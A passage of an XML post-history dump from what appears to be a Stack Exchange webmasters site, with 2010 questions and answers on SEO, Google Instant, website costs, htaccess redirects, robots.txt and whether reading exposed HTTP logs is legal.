  <row Id="7215" PostHistoryTypeId="2" PostId="3688" RevisionGUID="4a4bf3b1-2663-4ccf-85d9-9a5937b5a664" CreationDate="2010-10-10T16:56:52.717" UserId="2285" Text="I'm developing a website where users will be the ones who add new input, validate new suggestions and correct incorrect information. (Much like this site).&#xD;&#xA;&#xD;&#xA;To make sure that abuse of these rights by users is minimized, I need to develop a good reputation system which encourages good behaviour, much like this site's reputation, again.&#xD;&#xA;&#xD;&#xA;I would like to learn more about this subject, which is why I ask: are there any discussions about the development of user contributed websites? Any resources, studies or anything else that could help me out to develop a system that will work?&#xD;&#xA;&#xD;&#xA;Thanks in advance.&#xD;&#xA;- Tom" />
  <row Id="7216" PostHistoryTypeId="1" PostId="3688" RevisionGUID="4a4bf3b1-2663-4ccf-85d9-9a5937b5a664" CreationDate="2010-10-10T16:56:52.717" UserId="2285" Text="Are there discussions about developing a user contributed website?" />
  <row Id="7217" PostHistoryTypeId="3" PostId="3688" RevisionGUID="4a4bf3b1-2663-4ccf-85d9-9a5937b5a664" CreationDate="2010-10-10T16:56:52.717" UserId="2285" Text="&lt;user-engagement&gt;&lt;contribute&gt;" />
  <row Id="7220" PostHistoryTypeId="2" PostId="3689" RevisionGUID="f8642177-253a-4e51-9172-1d41d8c8882a" CreationDate="2010-10-10T17:07:26.623" UserId="480" Text="Just [tried it out in JSFiddle][1] and it seems to work fine.&#xD;&#xA;&#xD;&#xA;**HTML**:&#xD;&#xA;&#xD;&#xA;    &lt;form&gt;&#xD;&#xA;        &lt;fieldset&gt;&#xD;&#xA;            &lt;input /&gt;&#xD;&#xA;            &lt;input /&gt;&#xD;&#xA;            &lt;input /&gt;&#xD;&#xA;            &lt;input /&gt;&#xD;&#xA;            &lt;input /&gt;&#xD;&#xA;            &#xD;&#xA;            &lt;input id='kbr' /&gt;&#xD;&#xA;            &lt;label id='kbr_label' for='kbr'&gt;Kbr:&lt;/label&gt;&#xD;&#xA;            &#xD;&#xA;            &lt;input /&gt;&#xD;&#xA;            &lt;input /&gt;&#xD;&#xA;            &lt;input /&gt;&#xD;&#xA;            &lt;input /&gt;&#xD;&#xA;        &lt;/fieldset&gt;&#xD;&#xA;    &lt;/form&gt;​&#xD;&#xA;&#xD;&#xA;**CSS**:&#xD;&#xA;&#xD;&#xA;        fieldset {&#xD;&#xA;            border: 1px dotted silver;&#xD;&#xA;            padding: 1em;&#xD;&#xA;            width: 10em;&#xD;&#xA;        }&#xD;&#xA;        &#xD;&#xA;        input {&#xD;&#xA;            display: block;&#xD;&#xA;            float: right;&#xD;&#xA;            margin-bottom: 0.5em;&#xD;&#xA;            width: 100%;&#xD;&#xA;        }&#xD;&#xA;        &#xD;&#xA;        #kbr {&#xD;&#xA;            width: 50%;&#xD;&#xA;        }&#xD;&#xA;        &#xD;&#xA;        #kbr_label {&#xD;&#xA;            float: right;&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;**EDIT**:&#xD;&#xA;&#xD;&#xA;[Version 2 in JSFiddle][2] gets rid of the last input boxes bottom margin.&#xD;&#xA;&#xD;&#xA;  [1]: http://jsfiddle.net/qh3DH/1/&#xD;&#xA;  [2]: http://jsfiddle.net/qh3DH/2/" />
  <row Id="7221" PostHistoryTypeId="2" PostId="3690" RevisionGUID="5f59caac-2614-4a4d-b224-494d58a811e0" CreationDate="2010-10-10T18:06:40.513" UserId="1253" Text="Look at the Meta sites associated with the StackExchange network of sites. The [meta site for the StackExchange itself][1] it probably the best place to start.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://meta.stackexchange.com/" />
  <row Id="7228" PostHistoryTypeId="2" PostId="3693" RevisionGUID="73c67c76-d556-41b2-bca3-1c96f4f6aebe" CreationDate="2010-10-10T18:59:35.270" UserId="132" Text="There's &lt;a href=&quot;http://ui.stackexchange.com/questions/74/must-read-user-interface-book&quot;&gt;a similar question&lt;/a&gt; on the UI SE site. Not about the web specifically, but probably pretty relevant. Some good responses there." />
  <row Id="7229" PostHistoryTypeId="2" PostId="3694" RevisionGUID="0e1705aa-66a5-44bb-8815-b4429348ecd8" CreationDate="2010-10-10T22:00:08.340" UserId="2288" Text="From your experience, based on supply, demand, and effort to learn -- What skills in today's market as a webmaster have the most value? Second, if you were evaluating another webmaster on that skill, what factors would be the best indicators of their level of expertise?  " />
  <row Id="7230" PostHistoryTypeId="1" PostId="3694" RevisionGUID="0e1705aa-66a5-44bb-8815-b4429348ecd8" CreationDate="2010-10-10T22:00:08.340" UserId="2288" Text="What skills in today's market as a webmaster have the most value?" />
  <row Id="7231" PostHistoryTypeId="3" PostId="3694" RevisionGUID="0e1705aa-66a5-44bb-8815-b4429348ecd8" CreationDate="2010-10-10T22:00:08.340" UserId="2288" Text="&lt;marketing&gt;&lt;value&gt;&lt;skills&gt;" />
  <row Id="7233" PostHistoryTypeId="2" PostId="3696" RevisionGUID="7d2ca8e5-08ae-4afa-a0c0-15b254b84af0" CreationDate="2010-10-10T23:41:32.917" UserDisplayName="John Gardeniers" Text="One thing to consider is that email from .to addresses is often more likely to be flagged as spam, due primarily to it's common association with piracy and hacker sites. This may well have an effect if your site sends out emails. Other than that, there is the potential problem of visitors making the same association, which could possibly be detrimental." />
  <row Id="7234" PostHistoryTypeId="2" PostId="3697" RevisionGUID="ac66bf35-9b6a-4821-bc77-5052211ffd02" CreationDate="2010-10-11T00:39:28.770" UserId="2288" Text="It been a little over a month since &quot;Google Instant&quot; has been released to the public, what effect if any does &quot;Google Instant&quot; search have on SEO and SEM based?&#xD;&#xA;&#xD;&#xA;**RELATE LINK &gt;&gt; &quot;Google Instant&quot;:**&#xD;&#xA;http://www.google.com/instant" />
  <row Id="7235" PostHistoryTypeId="1" PostId="3697" RevisionGUID="ac66bf35-9b6a-4821-bc77-5052211ffd02" CreationDate="2010-10-11T00:39:28.770" UserId="2288" Text="What effect if any does &quot;Google Instant&quot; search have on SEO and SEM?" />
  <row Id="7236" PostHistoryTypeId="3" PostId="3697" RevisionGUID="ac66bf35-9b6a-4821-bc77-5052211ffd02" CreationDate="2010-10-11T00:39:28.770" UserId="2288" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;&lt;marketing&gt;&lt;sem&gt;" />
  <row Id="7237" PostHistoryTypeId="2" PostId="3698" RevisionGUID="40efae20-4a01-40d5-854e-8eab8bd0fc8a" CreationDate="2010-10-11T00:51:08.667" UserId="1253" Text="Logically speaking, long tail searches should see less traffic as users will be more likely to find, and click on, results before they get to finish typing in their entire search term. As a result those long tail searches will be less likely to happen and thus less able to deliver traffic.&#xD;&#xA;&#xD;&#xA;As for SEM, it will [affect the amount of impressions you see in your Adwords campaigns][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2010/09/google-instant-impact-on-search-queries.html)" />
  <row Id="7239" PostHistoryTypeId="12" PostId="3696" RevisionGUID="4e9a1338-91db-4ead-9547-50bce6b3033a" CreationDate="2010-10-11T01:01:09.017" UserDisplayName="John Gardeniers" Text="[{&quot;Id&quot;:1577,&quot;DisplayName&quot;:&quot;John Gardeniers&quot;}]" />
  <row Id="7240" PostHistoryTypeId="12" PostId="2311" RevisionGUID="453e8a7e-29c3-4076-a091-6c1c8bd4ff03" CreationDate="2010-10-11T01:01:13.043" UserDisplayName="John Gardeniers" Text="[{&quot;Id&quot;:1577,&quot;DisplayName&quot;:&quot;John Gardeniers&quot;}]" />
  <row Id="7241" PostHistoryTypeId="2" PostId="3699" RevisionGUID="67c60f37-ed0d-47cb-80e0-552c2b3b1d83" CreationDate="2010-10-11T01:45:31.233" UserId="2279" Text="I would say the biggest impact this will have is it will give Google huge potential to influence keyword direction based on what they suggest to a user when mid-typing. Rather than an SEO finding keywords or niche keywords based on research, the strategy could consist of tailoring content to try and appear underneath the Google suggested combination of keywords. This would result in more websites chasing a smaller set of keywords, which in turn would of course make for even stiffer competition." />
  <row Id="7242" PostHistoryTypeId="5" PostId="3697" RevisionGUID="aaa9ba7d-1f66-4dc6-bc7d-5814fac74a37" CreationDate="2010-10-11T02:01:12.393" UserId="2288" Comment="added 32 characters in body" Text="It been a little over a month since &quot;Google Instant&quot; has been released to the public, what effect if any does &quot;Google Instant&quot; search have on SEO and SEM based?&#xD;&#xA;&#xD;&#xA;**RELATE LINK &gt;&gt; &quot;Google Instant&quot;:**&#xD;&#xA;http://www.google.com/instant&#xD;&#xA;&#xD;&#xA;**________**&#xD;&#xA;&#xD;&#xA;**UPDATE:** " />
  <row Id="7243" PostHistoryTypeId="5" PostId="3698" RevisionGUID="bc226140-1089-497c-9ac2-97ab11d14c5d" CreationDate="2010-10-11T02:32:16.363" UserId="1253" Comment="deleted 1 characters in body" Text="Logically speaking, long tail searches should see less traffic as users will be more likely to find, and click on, results before they get to finish typing in their entire search term. As a result those long tail searches will be less likely to happen and thus less able to deliver traffic.&#xD;&#xA;&#xD;&#xA;As for SEM, it will [affect the amount of impressions you see in your Adwords campaigns][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2010/09/google-instant-impact-on-search-queries.html" />
  <row Id="7244" PostHistoryTypeId="2" PostId="3700" RevisionGUID="7d3c632e-2ea0-417f-9b56-9438fa55ae79" CreationDate="2010-10-11T02:37:04.867" UserId="2288" Text="If not, why? If so, please provide US Federal code, or case law confirming this is the case." />
  <row Id="7245" PostHistoryTypeId="1" PostId="3700" RevisionGUID="7d3c632e-2ea0-417f-9b56-9438fa55ae79" CreationDate="2010-10-11T02:37:04.867" UserId="2288" Text="Is viewing a site's unpassword protect user logs illegal?" />
  <row Id="7246" PostHistoryTypeId="3" PostId="3700" RevisionGUID="7d3c632e-2ea0-417f-9b56-9438fa55ae79" CreationDate="2010-10-11T02:37:04.867" UserId="2288" Text="&lt;legal&gt;&lt;statistics&gt;&lt;password&gt;" />
  <row Id="7247" PostHistoryTypeId="2" PostId="3701" RevisionGUID="7f6f952c-e05c-4bd6-bbee-ff479bb5bcc7" CreationDate="2010-10-11T03:16:19.187" UserId="2026" Text="As per my observation, i found that google itself is not good for backlink search. Google direct search result and webmaster tools result contradict each other. As per @Simone Carletti suggestion i tried www.majesticseo.com which giving more accuracy than other any other tool or search.&#xD;&#xA;Thanks for all of your support" />
  <row Id="7248" PostHistoryTypeId="2" PostId="3702" RevisionGUID="e2a9f7dc-8956-488d-be11-6da03f2860c3" CreationDate="2010-10-11T03:19:35.730" UserId="2026" Text="As per my observation, i found that google itself is not good for backlink search. Google direct search result and webmaster tools result contradict each other. As per @Simone Carletti suggestion i tried www.majesticseo.com which giving more accuracy than other any other tool or search.&#xD;&#xA;&#xD;&#xA;As per my knowledge, there is no option to close a question for any further comments and answers. Please suggest me if any." />
  <row Id="7249" PostHistoryTypeId="2" PostId="3703" RevisionGUID="5f5a5406-1ea0-401e-8bd8-7475fedfb0e4" CreationDate="2010-10-11T03:44:09.963" UserId="2288" Text="For example: seo, website-design, web-development, site-maintenance, hosting, domain, ssl-certificate, etc." />
  <row Id="7250" PostHistoryTypeId="1" PostId="3703" RevisionGUID="5f5a5406-1ea0-401e-8bd8-7475fedfb0e4" CreationDate="2010-10-11T03:44:09.963" UserId="2288" Text="What would be list of common website expenses?" />
  <row Id="7251" PostHistoryTypeId="3" PostId="3703" RevisionGUID="5f5a5406-1ea0-401e-8bd8-7475fedfb0e4" CreationDate="2010-10-11T03:44:09.963" UserId="2288" Text="&lt;domains&gt;&lt;web-hosting&gt;&lt;website-design&gt;&lt;ssl-certificate&gt;" />
  <row Id="7252" PostHistoryTypeId="2" PostId="3704" RevisionGUID="82c510bb-2f67-491d-8c7b-2554d9801867" CreationDate="2010-10-11T04:03:42.960" UserId="1757" Text="That depends on the type of website it is, and the expenses will vary greatly from site to site. The cost of development and design services can also vary greatly depending on region, quality, and chance.&#xD;&#xA;&#xD;&#xA;As a developer/designer, I can create a basic site for myself with just $9/month for hosting + $9/year for the domain. Each additional site after that, I only need to pay for the domain.&#xD;&#xA;&#xD;&#xA;Someone else who wants to hire a developer and/or designer to create a similar site for them might have to pay an extra $300 to $3000 for the same site, depending on how they shop around and the quality they are looking for.&#xD;&#xA;&#xD;&#xA;An e-commerce site would require an additional $4/month for a unique IP and $15/year for an SSL certificate. Optionally, you may spend $70/month of advertising or $700/month on advertising.&#xD;&#xA;&#xD;&#xA;Really, if you aren't familiar with what's needed to set up a website, your best bet is to find a web strategy or e-business consultant who can help you calculate the costs of a project, figure out how to make most effective use of your budget, and also procure required services (e.g. hosting, design, development, online marketing services, etc.) at the best cost-quality ratio." />
  <row Id="7253" PostHistoryTypeId="5" PostId="3704" RevisionGUID="367d3dd2-9084-4898-b0b7-49c0be0d1ac1" CreationDate="2010-10-11T04:19:09.233" UserId="1757" Comment="add more costs" Text="That depends on the type of website it is, and the expenses will vary greatly from site to site. The cost of development and design services can also vary greatly depending on region, quality, and chance.&#xD;&#xA;&#xD;&#xA;As a developer/designer, I can create a basic site for myself with just $9/month for hosting + $9/year for the domain. Each additional site after that, I only need to pay for the domain.&#xD;&#xA;&#xD;&#xA;Someone else who wants to hire a developer and/or designer to create a similar site for them might have to pay an extra $300 to $3000 for the same site, depending on how they shop around and the quality they are looking for.&#xD;&#xA;&#xD;&#xA;An e-commerce site would require an additional $4/month for a unique IP and $15/year for an SSL certificate. You would also likely need to pay another $100 setup fee and $20/month for access to a credit card processing gateway. And if you don't already have a merchant account, you'd need to pay another $35/month. Optionally, you may spend $70/month on advertising or $700/month on advertising.&#xD;&#xA;&#xD;&#xA;Really, if you aren't familiar with what's needed to set up a website, your best bet is to find a web strategy or e-business consultant who can help you calculate the costs of a project, figure out how to make most effective use of your budget, and also procure required services (e.g. hosting, design, development, online marketing services, etc.) at the best cost-quality ratio." />
  <row Id="7254" PostHistoryTypeId="5" PostId="3703" RevisionGUID="32318470-e522-4a9d-becd-be183cf6e207" CreationDate="2010-10-11T04:26:08.017" UserId="2288" Comment="added 71 characters in body; added 42 characters in body; added 23 characters in body; added 6 characters in body; added 23 characters in body; deleted 16 characters in body" Text="For example: seo; web-development; site-maintenance; hosting; domain; ssl-certificate; etc.&#xD;&#xA;&#xD;&#xA;**___________**&#xD;&#xA;&#xD;&#xA;**UPDATE:** Stock-Photos, Logo, &#xD;&#xA;&#xD;&#xA;**FROM_Lèse_majesté:** IP-for-SSL-CERT; Payment-gateway_setup,fees; website-design_template,customization;" />
  <row Id="7255" PostHistoryTypeId="2" PostId="3705" RevisionGUID="53c89b9f-f5ab-4de2-8ca7-e45517d3fce5" CreationDate="2010-10-11T04:28:27.147" UserId="1064" Text="US federal law pertaining to [Fraud and related activity in connection with computers][1] suggests that it is unlawful to:&#xD;&#xA;&#xD;&#xA;&gt; intentionally access a computer&#xD;&#xA;&gt; without authorization or exceeds&#xD;&#xA;&gt; authorized access, and thereby obtain&#xD;&#xA;&gt; &#xD;&#xA;&gt; information contained in a financial&#xD;&#xA;&gt; record of a financial institution, or&#xD;&#xA;&gt; of a card issuer as defined in section&#xD;&#xA;&gt; 1602 (n) of title 15, or contained in&#xD;&#xA;&gt; a file of a consumer reporting agency&#xD;&#xA;&gt; on a consumer, as such terms are&#xD;&#xA;&gt; defined in the Fair Credit Reporting&#xD;&#xA;&gt; Act (15 U.S.C. 1681 et seq.); &#xD;&#xA;&gt; &#xD;&#xA;&gt; information from any department or&#xD;&#xA;&gt; agency of the United States; or &#xD;&#xA;&gt; &#xD;&#xA;&gt; information from any protected&#xD;&#xA;&gt; computer;&#xD;&#xA;&#xD;&#xA;Whether publicly-served log files are covered is really going to depend upon the information contained in the logs (i.e. if there are requests which include sensitive data) and the definition of &quot;protected computer&quot;.&#xD;&#xA;&#xD;&#xA;It's generally bad practice to expose log data, however, even if the logs do not clearly contain sensitive information, I'd say it is equally bad practice to go around reading other peoples' logs (even if it's not a criminal offense, you could still run afoul of a civil court if you're somehow using someone else's &quot;semi-private&quot; logs to your advantage).&#xD;&#xA;&#xD;&#xA;  [1]: http://www.law.cornell.edu/uscode/18/1030.html" />
  <row Id="7256" PostHistoryTypeId="5" PostId="3704" RevisionGUID="635b7ee9-a3f6-49d1-8562-8afa767c2f4e" CreationDate="2010-10-11T04:28:36.223" UserId="1757" Comment="expand" Text="That depends on the type of website it is, and the expenses will vary greatly from site to site. The cost of development and design services can also vary greatly depending on region, quality, and chance.&#xD;&#xA;&#xD;&#xA;As a developer/designer, I can create a basic site for myself with just $9/month for hosting + $9/year for the domain. Each additional site after that, I only need to pay for the domain.&#xD;&#xA;&#xD;&#xA;Someone else who wants to hire a developer and/or designer to create a similar site for them might have to pay an extra $300 to $3000 for the same site, depending on how they shop around and the quality they are looking for.&#xD;&#xA;&#xD;&#xA;An e-commerce site would require an additional $4/month for a unique IP and $15/year for an SSL certificate. You would also likely need to pay another $100 setup fee and $20/month for access to a credit card processing gateway. And if you don't already have a merchant account, you'd need to pay another $35/month. Optionally, you may spend $70/month on advertising or $700/month on advertising.&#xD;&#xA;&#xD;&#xA;Really, if you aren't familiar with what's needed to set up a website, your best bet is to find a web strategy or e-business consultant who can help you calculate the costs of a project, figure out how to make most effective use of your budget, and also procure required services (e.g. hosting, design, development, online marketing services, etc.) at the best cost-quality ratio.&#xD;&#xA;&#xD;&#xA;For example, many organizations could get by with simply a customized Wordpress blog, either self-hosted or domain redirected. That could cost as little as $9/year for the domain + $200-300 for a designer to customize the theme. Yet, many businesses who try to put together an online presence themselves end up paying $2k-3k or more, hiring a web developer to create a site for them. That site may have a custom CMS developed in 3-4 weeks which is less robust/user-friendly than Wordpress or Blogger, or it may not even have a CMS at all. Furthermore, you're paying a developer to design your site, and end up overpaying for a mediocre design.&#xD;&#xA;&#xD;&#xA;And in other cases, many business owners get sucked in by low quality web hosting companies that overcharge for substandard service, and then are locked into a long-term contract because of their naivete. In my experience, there are just too many things that can go wrong when technology illiterate businesses try to shop for these things themselves." />
  <row Id="7257" PostHistoryTypeId="5" PostId="3703" RevisionGUID="fbbe3c1d-c907-4145-8dea-320cfc1ad7f6" CreationDate="2010-10-11T04:32:17.100" UserId="2288" Comment="added 14 characters in body; added 18 characters in body; added 18 characters in body; added 9 characters in body; added 25 characters in body" Text="For example: seo; web-development; site-maintenance; hosting; domain; ssl-certificate; etc.&#xD;&#xA;&#xD;&#xA;**______UPDATES______**&#xD;&#xA;&#xD;&#xA;**FROM_ME:** Stock-Photos; Logo; Legal; eCommerce_Shopping-Cart&#xD;&#xA;&#xD;&#xA;**FROM_Lèse_majesté:** IP-for-SSL-CERT; Merchant-Account; Payment-Gateway_setup,fees; website-design_template,customization; CMS-Customization; ADs_PPC" />
  <row Id="7258" PostHistoryTypeId="5" PostId="3704" RevisionGUID="fe88aaf2-524f-444f-b936-3286cd1e5f11" CreationDate="2010-10-11T04:35:34.650" UserId="1757" Comment="typo" Text="That depends on the type of website it is, and the expenses will vary greatly from site to site. The cost of development and design services can also vary greatly depending on region, quality, and chance.&#xD;&#xA;&#xD;&#xA;As a developer/designer, I can create a basic site for myself with just $9/month for hosting + $9/year for the domain. Each additional site after that, I only need to pay for the domain.&#xD;&#xA;&#xD;&#xA;Someone else who wants to hire a developer and/or designer to create a similar site for them might have to pay an extra $300 to $3000 for the same site, depending on how they shop around and the quality they are looking for.&#xD;&#xA;&#xD;&#xA;An e-commerce site would require an additional $4/month for a unique IP and $15/year for an SSL certificate. You would also likely need to pay another $100 setup fee and $20/month for access to a credit card processing gateway. And if you don't already have a merchant account, you'd need to pay another $35/month. Optionally, you may spend $70/month on advertising or $700/month on advertising.&#xD;&#xA;&#xD;&#xA;Really, if you aren't familiar with what's needed to set up a website, your best bet is to find a web strategy or e-business consultant who can help you calculate the costs of a project, figure out how to make most effective use of your budget, and also procure required services (e.g. hosting, design, development, online marketing services, etc.) at the best cost-quality ratio.&#xD;&#xA;&#xD;&#xA;For example, many organizations could get by with simply a customized Wordpress blog, either self-hosted or domain redirected. That could cost as little as $9/year for the domain + $200-300 for a designer to customize the theme. Yet, many businesses who try to put together an online presence themselves end up paying $2k-3k or more hiring a web developer to create a site for them. That site may have a custom CMS developed in 3-4 weeks which is less robust/user-friendly than Wordpress or Blogger, or it may not even have a CMS at all. Furthermore, you're paying a developer to design your site, and end up overpaying for a mediocre design.&#xD;&#xA;&#xD;&#xA;And in other cases, many business owners get sucked in by low quality web hosting companies that overcharge for substandard service, and then are locked into a long-term contract because of their naivete. In my experience, there are just too many things that can go wrong when technology illiterate businesses try to shop for these things themselves." />
  <row Id="7259" PostHistoryTypeId="5" PostId="3704" RevisionGUID="94d32f9d-7772-4f2e-ba9d-acc7087ea1d5" CreationDate="2010-10-11T04:44:17.060" UserId="1757" Comment="add one more expense" Text="**Edit:**&#xD;&#xA;&#xD;&#xA;Re-reading the question, I think I should have just listed the different types of *possible* expenses rather than calculating the costs of different types of sites, so I'll try to do that now:&#xD;&#xA;&#xD;&#xA; - Domain registration (annual)&#xD;&#xA; - web hosting (monthly)&#xD;&#xA; - unique IP + SSL add-on (monthly/annual)&#xD;&#xA; - payment gateway (monthly + setup fee)&#xD;&#xA; - merchant account (monthly + setup fee)&#xD;&#xA; - design (one-off)&#xD;&#xA; - development (one-off)&#xD;&#xA; - usability testing (one-off)&#xD;&#xA; - SEM or PPC advertising (monthly)&#xD;&#xA;   - one-off SEM costs like directory listing&#xD;&#xA; - analytics (monthly)&#xD;&#xA;&#xD;&#xA;For businesses, there may be other expenses like e-mail marketing services, online PR platforms, competitive analysis tools/services, and auxiliary marketing research services." />
  <row Id="7260" PostHistoryTypeId="4" PostId="3700" RevisionGUID="e9f1f353-39ba-4262-8845-5bd86ed1a299" CreationDate="2010-10-11T04:49:33.177" UserId="2288" Comment="edited title" Text="Is viewing a site's unpassword protected HTTP logs/stats illegal?" />
  <row Id="7261" PostHistoryTypeId="10" PostId="3635" RevisionGUID="695aaf3b-5170-413c-bd36-5bb85de64267" CreationDate="2010-10-11T05:23:16.890" UserId="-1" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;},{&quot;Id&quot;:233,&quot;DisplayName&quot;:&quot;DisgruntledGoat&quot;},{&quot;Id&quot;:180,&quot;DisplayName&quot;:&quot;JasonBirch&quot;}]" />
  <row Id="7262" PostHistoryTypeId="5" PostId="3635" RevisionGUID="908bcc68-705c-44b9-b5d8-80e33683b07e" CreationDate="2010-10-11T05:23:17.733" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Why google is not showing links to my site in result?](http://webmasters.stackexchange.com/questions/3320/why-google-is-not-showing-links-to-my-site-in-result)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;If I google `link:article-stack.com`, it shows 4 interlinks in result.&#xD;&#xA;&#xD;&#xA;1. If it shows interlinks it should show &gt; 250 links. But it is showing 4 only.&#xD;&#xA;2. Google webmaster is saying 8 external links. But google search is not showing it&#xD;&#xA;3. Previously it was showing 6 links &#xD;&#xA;&#xD;&#xA;	a) 1 from stackoverflow&#xD;&#xA;	b) 1 from wordpress&#xD;&#xA;	c) 4 from my own site&#xD;&#xA;&#xD;&#xA;then it came to 5. Now it is 4 only. While there are&#xD;&#xA;&#xD;&#xA;	a) 3-4 links on stackoverflow&#xD;&#xA;	b) 3-4 links on stackexchange&#xD;&#xA;	c) 3 links on wordpress&#xD;&#xA;	d) 4-5 links on sulekha&#xD;&#xA;&#xD;&#xA;I already had checked that all external pages, which are pointing to my site, are indexed and cached by google.&#xD;&#xA;&#xD;&#xA;Am i searching in wrong way?&#xD;&#xA;" />
  <row Id="7264" PostHistoryTypeId="16" PostId="3703" RevisionGUID="2c2f197b-b4e0-45a8-afd5-888e2980243a" CreationDate="2010-10-11T05:28:54.653" UserId="180" />
  <row Id="7265" PostHistoryTypeId="4" PostId="3703" RevisionGUID="798cde25-96f5-469c-9314-797c5c9b2437" CreationDate="2010-10-11T05:33:03.180" UserId="2288" Comment="edited title" Text="What would be a list of common website expenses?" />
  <row Id="7266" PostHistoryTypeId="2" PostId="3706" RevisionGUID="69d58d33-438d-40b3-b0cd-e4f339c93a70" CreationDate="2010-10-11T07:00:16.877" UserId="2289" Text="My take on it:  best skill would be &quot;ability to learn fast and evolve&quot;, to keep on top of current technologies, and to decide/advice on what is the next big thing and invest in it. (subjective example: should you invest in Silverlight or HTML5 ?).&#xD;&#xA;&#xD;&#xA;Next on the list, don't be specialized in a particular platform: Linux/Windows/OSX/mobile are all there.&#xD;&#xA;&#xD;&#xA;And if you want to target niches, accessibility expertise is nice to have." />
  <row Id="7267" PostHistoryTypeId="2" PostId="3707" RevisionGUID="95321cac-f1df-4d41-a7fd-a4bb545358db" CreationDate="2010-10-11T07:11:13.843" UserId="2290" Text="three downsides&#xD;&#xA;&#xD;&#xA; * your root domain URL is your most linked page, a HTTP 301 redirect only passes about 90% of the value. you loose 10% of your link value of these links.&#xD;&#xA; * navigational queries (i.e.: the &quot;domain part&quot; of &quot;domain.tld&quot;) are less likely to produce sitelinks&#xD;&#xA; * less deep-crawling: google crawls top down - starts with the most linked site, which will most likely be your domain url. as this does not exist you waste this zero level of crawling depth. (just say: i have had crawling issues on one site where such a setup existed, it got better after i made the startpage == root domain).&#xD;&#xA;&#xD;&#xA;another point:&#xD;&#xA;what about the robots.txt? the robots.txt is only allowed on the root of the domain. if it's not possible for you to deploy it on the root you will not be able to use that very very useful tool.&#xD;&#xA;&#xD;&#xA;if your site has a commercial intend (a.k.a. you want to earn money with it) you should go the extra mile (i.e. switch server provider, switch framework) to make this very basic step right. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;additionally a googler once said that for this kind of start page redirect should better be an HTTP 302, see http://www.seroundtable.com/archives/022165.htm  but i didn't dig deeper on this, as the best solution is ... to just have a start page" />
  <row Id="7268" PostHistoryTypeId="2" PostId="3708" RevisionGUID="bcca564c-776f-492d-bf07-ec92b9843db7" CreationDate="2010-10-11T10:05:17.953" UserId="2291" Text="I am having a little problem, it maybe easy but i really don't know how do I get that? right now my site runs on http://www.example.com this url, but i need to run that without www also i.e example.com&#xD;&#xA;&#xD;&#xA;can some body tell me here that how can i do that?&#xD;&#xA;&#xD;&#xA;Thank you in advance.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; " />
  <row Id="7269" PostHistoryTypeId="1" PostId="3708" RevisionGUID="bcca564c-776f-492d-bf07-ec92b9843db7" CreationDate="2010-10-11T10:05:17.953" UserId="2291" Text="Having problem in in url" />
  <row Id="7270" PostHistoryTypeId="3" PostId="3708" RevisionGUID="bcca564c-776f-492d-bf07-ec92b9843db7" CreationDate="2010-10-11T10:05:17.953" UserId="2291" Text="&lt;url&gt;&lt;url-rewriting&gt;&lt;url-format&gt;" />
  <row Id="7271" PostHistoryTypeId="2" PostId="3709" RevisionGUID="6b335302-aaed-40e6-b67e-36c898f7f776" CreationDate="2010-10-11T10:29:43.210" UserId="2026" Text="This is very simple using .htaccess file.&#xD;&#xA;&#xD;&#xA;You just need to place following lines in your .htaccess&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www.example.com$ [NC]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^(.*)$ http://example.com/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;You would have to place .htaccess file on root of your site.&#xD;&#xA;" />
  <row Id="7272" PostHistoryTypeId="2" PostId="3710" RevisionGUID="be93f18f-af27-4d35-8fce-a09920533628" CreationDate="2010-10-11T12:19:23.123" UserId="2026" Text="As per my observation, i found that google itself is not good for backlink search. Google direct search result and webmaster tools result contradict each other. As per @Simone Carletti suggestion i tried www.majesticseo.com which giving more accuracy than other any other tool or search.&#xD;&#xA;&#xD;&#xA;As per my knowledge, there is no option to close a question for any further comments and answers. Please suggest me if any.&#xD;&#xA;&#xD;&#xA;Please consider this question as resolved." />
  <row Id="7273" PostHistoryTypeId="2" PostId="3711" RevisionGUID="0923cb22-cc31-450a-a1f6-855badefb7e1" CreationDate="2010-10-11T12:23:27.967" UserId="2026" Text="My sister had made a preloader for my site. Thanks for all of your support.&#xD;&#xA;&#xD;&#xA;Your suggestions are welcome if anyone has some more ideas." />
  <row Id="7274" PostHistoryTypeId="2" PostId="3712" RevisionGUID="b4c14d02-1d0c-471d-a6df-18d21fc7f423" CreationDate="2010-10-11T12:48:11.853" UserDisplayName="morpheous" Text="I noticed recently that Google is not caching all of the pages on my website. Upon using the Google webmaster diagnostic tool, I realized that some of my pages were being restricted by entries in my robots.txt file.&#xD;&#xA;&#xD;&#xA;I know some people may frown on the use of wild cards etc, but my web framework generates dynamic URLs - so there is no otherway of 'pattern matching' a set of Urls.&#xD;&#xA;&#xD;&#xA;I have included both my robots.tx and a list of the ignored URLs here. Hopefully, someone can spot the rule(s) that are restricting Googlebots access to the URLs.&#xD;&#xA;&#xD;&#xA;First of all, here is a (truncated) list of restricted URLs:&#xD;&#xA;&#xD;&#xA;    URL Detail Detected&#xD;&#xA;    http://www.example.com/community/groups/cat-lovers-united.html?filter=events URL restricted by robots.txt 10/4/10&#xD;&#xA;    http://www.example.com/community/knowledge-center/questions/newbie/1/how-to-love-your-cat.html URL restricted by robots.txt 10/4/10&#xD;&#xA;    http://www.example.com/community/news/comments/1 URL restricted by robots.txt 10/4/10&#xD;&#xA;    http://www.example.com/feeds/blogposts?request_type=comments&amp;id=2 URL restricted by robots.txt 10/4/10&#xD;&#xA;    http://www.example.com/news/106/related-headlines?page=1 URL restricted by robots.txt 10/2/10&#xD;&#xA;    http://www.example.com/news/search?category=agriculturals&amp;keywords=argentina URL restricted by robots.txt 10/6/10&#xD;&#xA;    http://www.example.com/news/submissions/list?site=ibnlive.in.com URL restricted by robots.txt 